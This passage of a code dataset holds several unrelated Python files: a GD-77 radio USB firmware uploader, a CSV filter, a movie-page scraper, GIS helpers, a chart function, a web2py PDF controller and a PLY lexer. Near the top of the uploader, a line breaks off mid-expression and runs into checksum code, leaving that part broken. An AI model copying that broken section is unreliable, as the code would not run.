cbuf\n\n\n########################################################################\n# Send the data packet to the GD-77 and confirm the response is correct\n########################################################################\ndef sendAndCheckResponse(dev,cmd,resp):\n USB_WRITE_ENDPOINT = 0x02\n USB_READ_ENDPOINT = 0x81\n TRANSFER_LENGTH = 42\n zeroPad = [0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00]\n\n #pad out to the require 42 bytes length \n if (len(cmd)>8)%256\n checkSumData[10] = int(cs>>16)%256\n checkSumData[11] = int(cs>>24)%256\n return checkSumData\n\n#####################################################\n# Open firmware file on disk and sent it to the GD-77\n#####################################################\ndef sendFileData(fileName,startAddress,dev):\n dataHeader = [0x01,0x00,0x26,0x00,0xDE,0xAD,0xBE,0xEF,0x00,0x20]#Beginning of each data block trasmission. Values with DEADBEEF are where the 32 bit address is inserted. \n BLOCK_LENGTH = 1024 #1k\n DATA_TRANSFER_SIZE = 0x20\n \n with open(fileName, 'rb') as f:\n input = f.read()\n \n fileLength = len(input)\n\n totalBlocks = (fileLength - startAddress) / BLOCK_LENGTH\n\n address = startAddress\n\n while address < fileLength:\n\n if ((address-startAddress) % BLOCK_LENGTH ==0):\n checksumStartAddress = address\n \n fileAddress = address - startAddress\n\n #Setup address of data in the header\n dataHeader[7] = (fileAddress) % 256\n dataHeader[6] = int(fileAddress >> 8) % 256\n dataHeader[5] = int(fileAddress >> 16) % 256\n dataHeader[4] = int(fileAddress >> 24) % 256 \n \n if (address + DATA_TRANSFER_SIZE < fileLength):\n dataBuffer = dataHeader + [ord(i) for i in input[address:(address+DATA_TRANSFER_SIZE)]]\n \n #print(\"D: \"+ hexdumpArray(dataBuffer))\n if (sendAndCheckResponse(dev,dataBuffer,responseOK) == False):\n print(\"Error sending data\")\n return False\n break\n \n address = address + DATA_TRANSFER_SIZE\n if (((address - startAddress) % 0x400) == 0):\n print(\"Sent block \" + str((address - startAddress)/BLOCK_LENGTH) + \" of \"+ str(totalBlocks))\n\n if (sendAndCheckResponse(dev,createChecksumData(input[checksumStartAddress:address]),responseOK) == False):\n print(\"Error sending checksum\")\n return False\n break\n \n else:\n print(\"Sending last block\")\n \n DATA_TRANSFER_SIZE = fileLength - address\n dataHeader[9]= DATA_TRANSFER_SIZE\n dataBuffer = dataHeader + [ord(i) for i in input[address:(address+DATA_TRANSFER_SIZE)]]\n #print(\"D: \"+ hexdumpArray(dataBuffer))\n\n if (sendAndCheckResponse(dev,dataBuffer,responseOK) == False):\n print(\"Error sending data\")\n return False\n break\n \n address = address + DATA_TRANSFER_SIZE\n \n if (sendAndCheckResponse(dev,createChecksumData(input[checksumStartAddress:address]),responseOK) == False):\n print(\"Error sending checksum\")\n return False\n break\n return True\n\n###########################################################################################################################################\n# Send commands to the GD-77 to verify we are the updater, prepare to program including erasing the internal program flash memory\n###########################################################################################################################################\ndef sendInitialCommands(dev):\n commandLetterA =[ 0x01,0x00,0x01,0x00,0x41] #A\n command0 =[[0x01,0x00,0x08,0x00,0x44,0x4f,0x57,0x4e,0x4c,0x4f,0x41,0x44],[0x03,0x00,0x08,0x00,0x23,0x55,0x50,0x44,0x41,0x54,0x45,0x3f]] # DOWNLOAD\n command1 =[commandLetterA,responseOK] \n command2 =[[0x01,0x00,0x08,0x00, 0x44,0x56,0x30,0x31,0x65,0x6e,0x68,0x69],[0x03,0x00,0x04,0x00,0x44,0x56,0x30,0x31]] #.... DV01enhi (DV01enhi comes from deobfuscated sgl file)\n command3 =[[0x01,0x00,0x08,0x00, 0x46,0x2d,0x50,0x52,0x4f,0x47,0xff,0xff],responseOK] #... F-PROG..\n command4 =[[0x01,0x00,0x10,0x00, 0x53,0x47,0x2d,0x4d,0x44,0x2d,0x37,0x36,0x30,0xff,0xff,0xff,0xff,0xff,0xff,0xff],responseOK] #SG-MD-760\n command5 =[[0x01,0x00,0x08,0x00, 0x4d,0x44,0x2d,0x37,0x36,0x30,0xff,0xff],responseOK] #MD-760..\n command6 =[[0x01,0x00,0x08,0x00, 0x56,0x31,0x2e,0x30,0x30,0x2e,0x30,0x31],responseOK] #V1.00.01\n commandErase =[[0x01,0x00,0x08,0x00, 0x46,0x2d,0x45,0x52,0x41,0x53,0x45,0xff],responseOK] #F-ERASE\n commandPostErase =[commandLetterA,responseOK] \n commandProgram =[[0x01,0x00,0x08,0x00,0x50,0x52,0x4f,0x47,0x52,0x41,0x4d,0xf],responseOK]#PROGRAM\n commands =[command0,command1,command2,command3,command4,command5,command6,commandErase,commandPostErase,commandProgram]\n commandNumber = 0\n # Send the commands which the GD-77 expects before the start of the data\n while commandNumber < len(commands):\n print(\"Sending command \" + str(commandNumber));\n if sendAndCheckResponse(dev,commands[commandNumber][0],commands[commandNumber][1])==False:\n print(\"Error sending command\")\n return False\n break\n commandNumber = commandNumber + 1\n return True\n\n#####################################################\n# Main function.\n#####################################################\ndef main():\n dev = usb.core.find(idVendor=0x15a2, idProduct=0x0073)\n if (dev):\n \n dev.set_configuration()#seems to be needed for the usb to work !\n\n if (sendInitialCommands(dev) == True):\n if (sendFileData(\"GD-77_V3.1.2.sgl\",0x041E,dev) == True):\n print(\"Firmware update complete. Please reboot the GD-77\")\n else:\n print(\"Error while sending data\")\n else:\n print(\"Error while sending initial commands\")\n \n usb.util.dispose_resources(dev) #free up the USB device\n \n else:\n print(\"Cant find GD-77\")\n\n\n## Run the program\nmain() \n","sub_path":"tools/firmware_uploader_python/gd-77_firmware_loader.py","file_name":"gd-77_firmware_loader.py","file_ext":"py","file_size_in_byte":9134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"348957608","text":"import csv\nimport os\n\nrealtor_agents_file = csv.DictReader(\n open(os.path.dirname(os.path.realpath(__file__)) + \"/../external_data/input/realtor_agents.csv\"),\n delimiter=\";\")\nrealtor_brokers_file = csv.DictReader(\n open(os.path.dirname(os.path.realpath(__file__)) + \"/../external_data/input/realtor_brokers.csv\"),\n delimiter=\";\")\nfiltered_realtor_agents = []\n# \"officeName\";\"officePhone\";\n\nrealtor_agents_list = list(realtor_agents_file)\nrealtor_brokers_list = list(realtor_brokers_file)\n\nwith open(os.path.dirname(os.path.realpath(__file__)) +\n \"/../external_data/output/filtered agent list.csv\", 'w') as filtered_agents_file: # Just use 'w' mode in 3.x\n writer = csv.DictWriter(filtered_agents_file, list(realtor_agents_list[0].keys()) + ['brokers_list'], delimiter=';')\n writer.writeheader()\n\n for realtor_agent in realtor_agents_list:\n qualified_realtor_agent = None\n\n if realtor_agent['officeName'].strip() or realtor_agent['officePhone'].strip():\n for realtor_broker in realtor_brokers_list:\n if (realtor_agent['officeName'].strip() and\n realtor_agent['officeName'] == realtor_broker['officeName'] and\n realtor_agent['officeAddress'] == realtor_broker['officeAddress']) or \\\n (realtor_agent['officePhone'].strip() and realtor_agent['officePhone'] == realtor_broker['officePhone']):\n if not qualified_realtor_agent:\n qualified_realtor_agent = dict(realtor_agent)\n\n if not qualified_realtor_agent.get('brokers_list', None):\n qualified_realtor_agent['brokers_list'] = []\n\n qualified_realtor_agent['brokers_list'].append(realtor_broker['id'])\n\n if qualified_realtor_agent:\n qualified_realtor_agent['brokers_list'] = ' ' . join(qualified_realtor_agent['brokers_list'])\n writer.writerow(qualified_realtor_agent)\n # filtered_realtor_agents.append(qualified_realtor_agent)\n","sub_path":"closingadvance_scraper/scripts/filter_title_companies.py","file_name":"filter_title_companies.py","file_ext":"py","file_size_in_byte":2046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"598968527","text":"#!/usr/bin/env python\r\n# -*- coding:utf-8 -*-\r\n# Author:CJR\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\n\r\nheaders = {\r\n 'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59'\r\n '.0.3071.115 Safari/537.36'\r\n }\r\nurl = 'https://movie.douban.com/cinema/nowplaying/chengdu/'\r\nr = requests.get(url, headers=headers, timeout=30)\r\nr.raise_for_status()\r\nr.encoding = r.apparent_encoding\r\nhtml = r.text\r\n\r\nfo = open(\"douban.txt\", \"a+\", encoding='utf-8')\r\narr1 = []\r\narr2 = []\r\nsoup = BeautifulSoup(html, 'html.parser')\r\n\r\nlis1 = soup.select('#nowplaying li.list-item')\r\nimgs1 = soup.select('#nowplaying li.list-item img')\r\nlis2 = soup.select('#upcoming li.list-item')\r\nimgs2 = soup.select('#upcoming li.list-item img')\r\n# print(lis1)\r\n\r\nfor lis, img in zip(lis1, imgs1):\r\n filename = 'p' + lis.get(\"id\") + '.jpg'\r\n item = {\r\n 'id': lis.get(\"id\"),\r\n 'actors': lis.get(\"data-actors\"),\r\n 'director': lis.get(\"data-director\"),\r\n 'duration': lis.get(\"data-duration\"),\r\n 'region': lis.get(\"data-region\"),\r\n 'release': lis.get(\"data-release\"),\r\n 'score': lis.get(\"data-score\"),\r\n 'title': lis.get(\"data-title\"),\r\n 'pic': img.get('src')\r\n }\r\n print(item)\r\n pic1 = requests.get(item['pic'])\r\n with open('C:\\\\douban\\\\nowplaying\\\\' + filename, 'wb') as photo:\r\n photo.write(pic1.content)\r\n print(lis.get(\"id\"))\r\n\r\nprint('*' * 50)\r\n\r\nfor lis, img in zip(lis2, imgs2):\r\n filename = 'p' + lis.get(\"id\") + '.jpg'\r\n item = {\r\n 'id': lis.get(\"id\"),\r\n 'actors': lis.get(\"data-actors\"),\r\n 'director': lis.get(\"data-director\"),\r\n 'duration': lis.get(\"data-duration\"),\r\n 'region': lis.get(\"data-region\"),\r\n 'release': lis.get(\"data-release\"),\r\n 'score': lis.get(\"data-score\"),\r\n 'title': lis.get(\"data-title\"),\r\n 'pic': img.get('src')\r\n }\r\n print(item)\r\n pic1 = requests.get(item['pic'])\r\n with open('C:\\\\douban\\\\upcoming\\\\' + filename, 'wb') as photo:\r\n photo.write(pic1.content)\r\n print(lis.get(\"id\"))\r\n","sub_path":"python/douban/nowplaying.py","file_name":"nowplaying.py","file_ext":"py","file_size_in_byte":2134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"42448114","text":"import grass.lib.vector as libvect\nimport numpy as np\nfrom grass.pygrass.vector import VectorTopo\nfrom grass.pygrass.vector.geometry import Line\nfrom grass.pygrass.vector.geometry import Point\n\n\ndef point_on_line(line, distance):\n \"\"\"\n Taken from:\n http://mirrors.ibiblio.org/grass/grass71/manuals/libpython/_modules/pygrass/vector/geometry.html#Line.point_on_line\n There is no point_on_line method in grass70..\n \"\"\"\n maxdist = line.length()\n if distance > maxdist:\n str_err = \"The distance exceed the length of the line, that is: %f\"\n raise ValueError(str_err % maxdist)\n pnt = Point(0, 0, -9999)\n if not libvect.Vect_point_on_line(line.c_points, distance,\n pnt.c_points.contents.x,\n pnt.c_points.contents.y,\n pnt.c_points.contents.z,\n 0, 0):\n raise ValueError(\"Vect_point_on_line give an error.\")\n pnt.is2D = True\n return pnt\n\n\ndef get_perpendicular_lines(line, spacing, width=30):\n \"\"\"\n Get lines that are perpendicular to the input line.\n\n :param line: pygrass.vector.geometry.Line\n :param spacing: spacing between the perpendicular lines\n :param width: width of the perpendicular lines\n :return: List containing Line instances\n \"\"\"\n\n locs = []\n width /= 2.\n\n # Find points where the perpendicular lines will be created\n d = spacing\n while True:\n if d >= line.length():\n break\n # locs.append(line.point_on_line(d)) # grass71\n locs.append(point_on_line(line, d))\n d += spacing\n\n i = 0\n perp_lines = []\n dist = line[0].distance(line[1])\n while len(locs) > 0:\n if dist < spacing:\n i += 1\n dist += line[i].distance(line[i + 1])\n else:\n perp = _perp_vect(line[i], line[i + 1])\n perp_line = _perp_line(perp, locs.pop(0), width)\n perp_lines.append(perp_line)\n dist -= spacing\n return perp_lines\n\n\ndef _perp_vect(pnt1, pnt2):\n x1, y1 = pnt1.coords()\n x2, y2 = pnt2.coords()\n x = x2 - x1\n y = y2 - y1\n\n # Find a perpendicular vector and normalize it\n m = np.sqrt(x ** 2 + y ** 2)\n perp = np.array([-y / m, x / m])\n return perp\n\n\ndef _perp_line(perp, pnt, width):\n px, py = pnt.coords()\n p1 = tuple(np.array([px, py]) + width * perp)\n p2 = (px, py)\n p3 = tuple(np.array([px, py]) - width * perp)\n return Line([p1, p2, p3])\n\n\ndef open_with_table(filename, tab_cols):\n vect_map = VectorTopo(filename)\n mode = 'rw' if vect_map.exist() else 'w'\n vect_map.open(mode=mode, tab_name=filename, tab_cols=tab_cols)\n return vect_map\n","sub_path":"mthesis/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":2740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"97821472","text":"#利用LTP自定义获取实体的函数\ndef getKey(words,tags): #依据LTP的分词和词性标注功能自定义的实体识别函数\n ner = ['n', 'nd', 'nh', 'ni', 'nl', 'ns', 'nt', 'nz']\n key = []\n for (x, y) in zip(words, tags):\n if y in ner:\n key.append(x)\n return key\n\nimport os\nLTP_DATA_DIR = 'E:\\work\\ltp_data_v3.4.0' # ltp模型目录的路径\ncws_model_path = os.path.join(LTP_DATA_DIR, 'cws.model') # 分词模型路径,模型名称为`cws.model`\npos_model_path = os.path.join(LTP_DATA_DIR, 'pos.model') # 词性标注模型路径,模型名称为`pos.model`\n\nfrom pyltp import Segmentor\nsegmentor = Segmentor()\nsegmentor.load_with_lexicon(cws_model_path,'userdict.txt')\nwords = segmentor.segment(\"茶马古道是中国古代著名的贸易通道,它经过了哪些省份\")\n\nfrom pyltp import Postagger\npostagger = Postagger() # 初始化实例\npostagger.load_with_lexicon(pos_model_path,'userdict.txt') # 加载模型\npostags = postagger.postag(words) # 词性标注\n\nkey = getKey(words,postags)\nprint('\\t'.join(key))\nprint('\\t'.join(words))\nprint('\\t'.join(postags))\n\npostagger.release() # 释放模型\nsegmentor.release()\n\n","sub_path":"getKey.py","file_name":"getKey.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"642814393","text":"# -*- coding: utf-8 -*-\n\n#\n# Copyright (c) 2018 Virtual Cable S.L.\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without modification,\n# are permitted provided that the following conditions are met:\n#\n# * Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n# * Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n# * Neither the name of Virtual Cable S.L. nor the names of its contributors\n# may be used to endorse or promote products derived from this software\n# without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\n# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nfrom matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas\nfrom matplotlib.figure import Figure\nimport io\n\n\ndef barChart(size, data, output):\n data = {\n 'x': [1, 2, 3, 4, 5, 6],\n 'xticks': ['uno', 'dos', 'tres', 'cuatro', 'cinco', 'seis'],\n 'xlabel': 'Data X',\n 'y': [\n {\n 'label': 'First',\n 'data': [1, 2, 4, 8, 16, 32],\n },\n {\n 'label': 'Second',\n 'data': [31, 15, 7, 3, 1, 0],\n }\n ],\n 'ylabel': 'Data YYYYY'\n }\n\n width = 0.35\n fig = Figure(figsize=(size[0], size[1]), dpi=size[2])\n\n axis = fig.add_subplot(1, 1, 1)\n\n xs = data['x'] # x axis\n xticks = [''] + [l for l in data['xticks']] + [''] # Iterables\n ys = data['y'] # List of dictionaries\n\n bottom = [0] * len(ys[0]['data'])\n plts = []\n for y in ys:\n plts.append(axis.bar(xs, y['data'], width, bottom=bottom, label=y.get('label')))\n bottom = y['data']\n\n axis.set_xlabel(data['xlabel'])\n axis.set_ylabel(data['ylabel'])\n axis.set_xticklabels(xticks)\n axis.legend()\n\n canvas = FigureCanvas(fig)\n canvas.print_png(output)\n","sub_path":"server/src/uds/core/reports/graphs.py","file_name":"graphs.py","file_ext":"py","file_size_in_byte":2786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"242693257","text":"# -*- coding: utf-8 -*-\n\nfrom reportlab.platypus import *\nfrom reportlab.lib.units import cm\nfrom reportlab.lib import colors\nfrom uuid import uuid4\nimport os\nfrom gluon.tools import Crud\ncrud = Crud(db)\n\n\ndef index():\n redirect(URL('listar'))\n return locals()\n\ndef agregar():\n form = SQLFORM(db.Solicitud, fields=['area', 'tipo', 'unidad', 'info_contacto', 'edificio', 'espacio',\n 'telefono', 'requerimiento', 'observacion_solicitud'])\n if form.process().accepted:\n session.flash = T('Solicitud creada exitosamente')\n redirect(URL('listar'))\n elif form.errors:\n response.flash = T('Solicitud tiene errores, por favor verifique todos los campos.')\n else:\n response.flash = T('Por favor llene la forma.')\n return locals()\n\ndef listar():\n if request.args(0) is None:\n filas = db(db.Solicitud).select(orderby=db.Solicitud.prioridad)\n elif request.args(0)=='area':\n filas = db(db.Solicitud).select(orderby=db.Solicitud.area)\n response.flash = T('Solicitudes ordenadas por area.')\n elif request.args(0)=='unidad':\n filas = db(db.Solicitud).select(orderby=db.Solicitud.unidad)\n response.flash = T('Solicitudes ordenadas por unidad.')\n elif request.args(0)=='edificio':\n filas = db(db.Solicitud).select(orderby=db.Solicitud.edificio)\n response.flash = T('Solicitudes ordenadas por edificio.')\n elif request.args(0)=='espacio':\n filas = db(db.Solicitud).select(orderby=db.Solicitud.espacio)\n response.flash = T('Solicitudes ordenadas por espacio.')\n elif request.args(0)=='prioridad':\n filas = db(db.Solicitud).select(orderby=db.Solicitud.prioridad)\n response.flash = T('Solicitudes ordenadas por prioridad.')\n return locals()\n\ndef modificar():\n solicitud = crud.update(db.Solicitud, request.args(0))\n return locals()\n\ndef get_pdf():\n solicitud = db.Solicitud(request.args(0))\n tmpfilename=os.path.join(request.folder,'private',str(uuid4()))\n doc = SimpleDocTemplate(tmpfilename)\n elements = []\n data = [['UNIVERSIDAD SIMÓN BOLÍVAR\\nVICERRECTORADO ADMINISTRATIVO\\nDIRECCIÓN DE PLANTA FÍSICA\\nUnidad de Atención e Inspección', '' , 'SOLICITUD DE SERVICIO DE LA DIRECCIÓN PLANTA FÍSICA', '', '', ''],\n [''],\n ['Fecha de Solicitud:\\n' + str(solicitud.fecha_realizacion), '', 'Área de Trabajo:\\n' + str(solicitud.area.nombre_area), '', 'Nº Codigo UAI:\\n' + str(solicitud.id), ''],\n [solicitud.tipo, '', '', 'Entregada a:', '', ''],\n ['Unidad Solicitante', '', '', 'Persona de Contacto', '', ''],\n [solicitud.unidad.nombre_unidad, '', '', solicitud.info_contacto, '', ''],\n ['Edificio', 'Espacio', 'Telefono', 'Requerimiento', '', ''],\n [solicitud.edificio.nombre_edificio, solicitud.espacio.espacio, solicitud.telefono, solicitud.requerimiento, '', ''],\n ['Observaciones', '', '', '', 'Firma y Sello,\\nUnidad de Atención e Inspección', ''],\n [solicitud.observacion_solicitud, '', '', '', '', ''],\n ['Ejecución', '', '', '', '', ''],\n ['Supervisor Responsable', '', 'Fecha de Inicio\\n(Obligatorio)', '', 'Fecha de Culminacion\\n(Obligatorio)', ''],\n [solicitud.supervisor, '', solicitud.fecha_inicio, '', solicitud.fecha_culminacion, ''],\n ['Trabajadores Asignados', '', '', '', '', ''],\n [solicitud.trabajador[0], '', '', '', '', ''],\n [solicitud.trabajador[1], '', '', '', '', ''],\n [solicitud.trabajador[2], '', '', '', '', ''],\n [''],\n ['Observaciones', '', '', '', 'Trabajo Terminado', ''],\n [solicitud.observacion_ejecucion, '', '', '', '', ''],\n [''],\n ['Cantidad', 'Materiales Requeridos/\\nSolicitud de Almacén', '', 'Si/No', 'Material Retirado por:', ''],\n ['', '', '', '', '', ''],\n ['', '', '', '', '', ''],\n ['', '', '', '', '', ''],\n ['', '', '', '', '', ''],\n ['', '', '', '', '', ''],\n ]\n t=Table(data, 3*cm)\n t.setStyle(TableStyle([('SPAN', (0,0), (1,0)),\n ('SPAN', (2,0), (5,0)),\n ('FONTSIZE', (0,0), (0,0), 9),\n ('GRID', (0,2), (5,9), 0.25, colors.black),\n ('SPAN', (0,2), (1,2)),\n ('SPAN', (2,2), (3,2)),\n ('SPAN', (4,2), (5,2)),\n ('SPAN', (0,3), (2,3)),\n ('SPAN', (3,3), (5,3)),\n ('SPAN', (0,4), (2,4)),\n ('SPAN', (3,4), (5,4)),\n ('SPAN', (0,5), (2,5)),\n ('SPAN', (3,5), (5,5)),\n ('SPAN', (3,6), (5,6)),\n ('SPAN', (3,7), (5,7)),\n ('SPAN', (0,8), (3,8)),\n ('SPAN', (4,8), (5,8)),\n ('SPAN', (0,9), (3,9)),\n ('SPAN', (4,9), (5,9)),\n ('ALIGN', (0,0), (-1,-1), 'CENTER'),\n ('VALIGN', (0,0), (-1,-1), 'MIDDLE'),\n ('ALIGN', (3,3), (3,3), 'LEFT'),\n ('FONTSIZE', (0,4), (3,4), 12),\n ('FONTSIZE', (0,6), (3,6), 12),\n ('FONTSIZE', (0,8), (0,8), 14),\n ('FONTSIZE', (0,10), (0,10), 12),\n ('GRID', (0,11), (5,12), 0.25, colors.black),\n ('SPAN', (0,11), (1,11)),\n ('SPAN', (2,11), (3,11)),\n ('SPAN', (4,11), (5,11)),\n ('SPAN', (0,12), (1,12)),\n ('SPAN', (2,12), (3,12)),\n ('SPAN', (4,12), (5,12)),\n ('FONTSIZE', (0,11), (0,11), 12),\n ('ALIGN', (0,13), (0,13), 'LEFT'),\n ('ALIGN', (0,10), (0,10), 'LEFT'),\n ('GRID', (0,14), (5,16), 0.25, colors.black),\n ('SPAN', (0,14), (5,14)),\n ('SPAN', (0,15), (5,15)),\n ('SPAN', (0,16), (5,16)),\n ('ALIGN', (0,14), (0,16), 'LEFT'),\n ('GRID', (0,18), (5,19), 0.25, colors.black),\n ('SPAN', (0,18), (3,18)),\n ('SPAN', (4,18), (5,18)),\n ('SPAN', (0,19), (3,19)),\n ('SPAN', (4,19), (5,19)),\n ('GRID', (0,21), (-1,-1), 0.25, colors.black),\n ('SPAN', (1,21), (2,21)),\n ('SPAN', (4,21), (5,21)),\n ('SPAN', (1,22), (2,22)),\n ('SPAN', (4,22), (5,22)),\n ('SPAN', (1,23), (2,23)),\n ('SPAN', (4,23), (5,23)),\n ('SPAN', (1,24), (2,24)),\n ('SPAN', (4,24), (5,24)),\n ('SPAN', (1,25), (2,25)),\n ('SPAN', (4,25), (5,25)),\n ('SPAN', (1,26), (2,26)),\n ('SPAN', (4,26), (5,26))\n ]))\n t._rowHeights[9] = 2.5 * cm\n t._rowHeights[19] = 2.5 * cm\n elements.append(t)\n doc.build(elements)\n data = open(tmpfilename,\"rb\").read()\n os.unlink(tmpfilename)\n response.headers['Content-Type']='application/pdf'\n return data\n\ndef historial():\n filas = db(db.Solicitud).select(orderby=db.Solicitud.id)\n return locals()\n","sub_path":"controllers/solicitudes.py","file_name":"solicitudes.py","file_ext":"py","file_size_in_byte":7798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"208562301","text":"# -*- encoding:utf-8 -*-\n# 编译原理课程实验 : 词法分析\n\n# written by : XinyaoTian\n# at : May/10th/2018\n# run with : python 3.6.1 without any packages\n\nimport logging\nlogging.basicConfig(level = logging.DEBUG)\n\nfrom func_pack import hex_to_dec\nfrom func_pack import oct_to_dec\n\n# 导入 python 中的 flex 及 yacc 库: PLY\nfrom ply import lex\n\n\n# 定义可能用到的 正规文法类型。\ntokens = [\n \"IDENTIFIER\", # 变量名(标识符)\n \"REAL10\", # 十进制小数\n \"REAL8\", # 八进制小数\n \"REAL16\", # 十六进制小数\n \"INT16\", # 十六进制整数\n \"INT8\", # 八进制整数\n \"INT10\", # 十进制整数\n #\"SYMBOL\"# 符号\n #\"KEYWORD\" # 关键字\n]\n\n# symbols = [\n# 'lparent'\n# ]\n#\n# tokens = tokens + symbols\n\n# 保留字类型, 使用lex自带的reserved区分出关键字\n# 需要与 IDENTIFIER 配合使用\nreserved = {\n 'if' : 'IF',\n 'then' : 'THEN',\n 'else' : 'ELSE',\n 'while' : 'WHILE',\n 'do' :'DO'\n}\n\n# 将预留标识符添加到tokens中\ntokens = tokens + list(reserved.values())\n\n# 注意!词法分析的优先级是按照函数定义的顺序划分的,定义越靠前优先级越高\n# 比如分析 = 和 == 时, 就需要把 = 放在 == 的前面定义\n\n# 十六进制实型\ndef t_REAL16(t):\n r'0[x|X][1-9a-f][0-9a-f]*\\.[0-9a-f]+|0[x|X]0+\\.[0-9a-f]+'\n # 匹配整数部分非0的十六进制小数\n # 匹配整数部分为0的十六进制小数\n t.value = hex_to_dec(t.value)\n t.value = float(t.value)\n return t\n\n# 八进制浮点型\ndef t_REAL8(t):\n r'0[1-7][0-7]*\\.[0-7]+|00+\\.[0-7]+'\n # 匹配整数部分非0的八进制小数\n # 匹配整数部分非0的八进制小数\n t.value = oct_to_dec(t.value)\n t.value = float(t.value)\n return t\n\n# 十进制浮点型\ndef t_REAL10(t):\n r'[1-9][\\d]*\\.[\\d]+|0\\.[\\d]+'\n # 匹配整数部分非0的小数\n # 匹配整数部分为0的小数\n t.value = float(t.value)\n return t\n\n# 十六进制整数\ndef t_INT16(t):\n r'0[x|X][0-9a-f][0-9a-f]*'\n t.value = hex_to_dec(t.value)\n t.value = int(t.value)\n return t\n\n# 八进制整数\ndef t_INT8(t):\n r'0[0-7]+|000*'\n t.value = oct_to_dec(t.value)\n t.value = int(t.value)\n return t\n\n# 十进制整型\ndef t_INT10(t):\n r'[1-9][\\d]*|0'\n t.value = int(t.value)\n return t\n\n# 关键字相关匹配\n# def t_KEYWORD(t):\n# r'if|then|else|while|do'\n# t.type = t.type\n# t.value = t.value\n# return t\n\n# 利用正则匹配出所有可能出现的情况\n# 此为IDENTIFIER的各种情况\ndef t_IDENTIFIER(t):\n r'[A-Za-z][A-Za-z0-9]*[.|_][A-Za-z0-9]+|[A-Za-z][A-Za-z0-9]*'\n # 含有 . 或 _ 的, 由字母开头, 数字和字母组成的标识符\n # 由字母开头, 数字和字母组成的标识符\n t.type = reserved.get(t.value,'IDENTIFIER') # 匹配标识符时先检查是否为预留字\n # 利用 dict.get() 方法, 若是预留字则修改t.type;若不是则保持t.type为IDENTIFIER不变\n if t.type is not 'IDENTIFIER': # 若t.type不是IDENTIFIER\n t.value = t.value\n return t\n\n# 使用内置的literals,配合下面定义的各种方法识别symbols\nliterals = ['+', '-', '*', '/','=','(',')',';','<','>']\n\ndef t_add(t):\n r'\\+'\n t.type = '+'\n t.value = '+'\n return t\n\ndef t_sub(t):\n r'-'\n t.type = '-'\n t.value = '-'\n return t\n\ndef t_mult(t):\n r'\\*'\n t.type = '*'\n t.value = '*'\n return t\n\ndef t_div(t):\n r'\\/'\n t.type = '/'\n t.value = '/'\n return t\n\ndef t_equal(t):\n r'='\n t.type = '='\n t.value = '='\n return t\n\ndef t_lparent(t):\n r'\\('\n t.type = '('\n t.value = '('\n return t\n\ndef t_rparent(t):\n r'\\)'\n t.type = ')'\n t.value = ')'\n return t\n\ndef t_semi(t):\n r';'\n t.type = ';'\n t.value = ';'\n return t\n\ndef t_lts(t):\n r'<'\n t.type = '<'\n t.value = '<'\n return t\n\ndef t_gts(t):\n r'>'\n t.type = '>'\n t.value = '>'\n return t\n\n# 可以添加ignore_前缀表示将丢弃匹配的token,比如空格' '和换行符'\\t'\n# 来匹配掉不计入词法分析的\\n \\s \\t 等字符\nt_ignore_SPACE = (\n r'[\\s]+'\n)\n\n# 行号跟踪标定\ndef t_newline(t):\n r'\\n+'\n t.lexer.lineno += len(t.value)\n\n# 异常处理\ndef t_error(t):\n logging.debug(\"Illegal character '%s'\" % t.value[0] + 'in Line ' + str(t.lineno))\n # t.lexer.skip(1) # 跳过错误字符继续执行\n raise TypeError(\"Unknown text '%s'\" % (t.value,) + '.Please check your syntax.')\n\n#---------------\n# lex.lex()\n#---------------\n\n# # Build the lexer\nlexer = lex.lex()\n# lexer.code = None\n# lexer.true = None\n# lexer.false = None\n# lexer.next = None\n# lexer.begin = None\n# lexer.place = None\n# lexer.value = None\n# lexer.name = None\n\n# Build the lexer\n# lexer = lex.lex()\n#\n# with open('./lab1_testData.txt','r') as f:\n# data = f.read()\n#\n# # 将测试用数据传入lex\n# lexer.input(data)\n#\n# # 切分次 Tokenize\n# 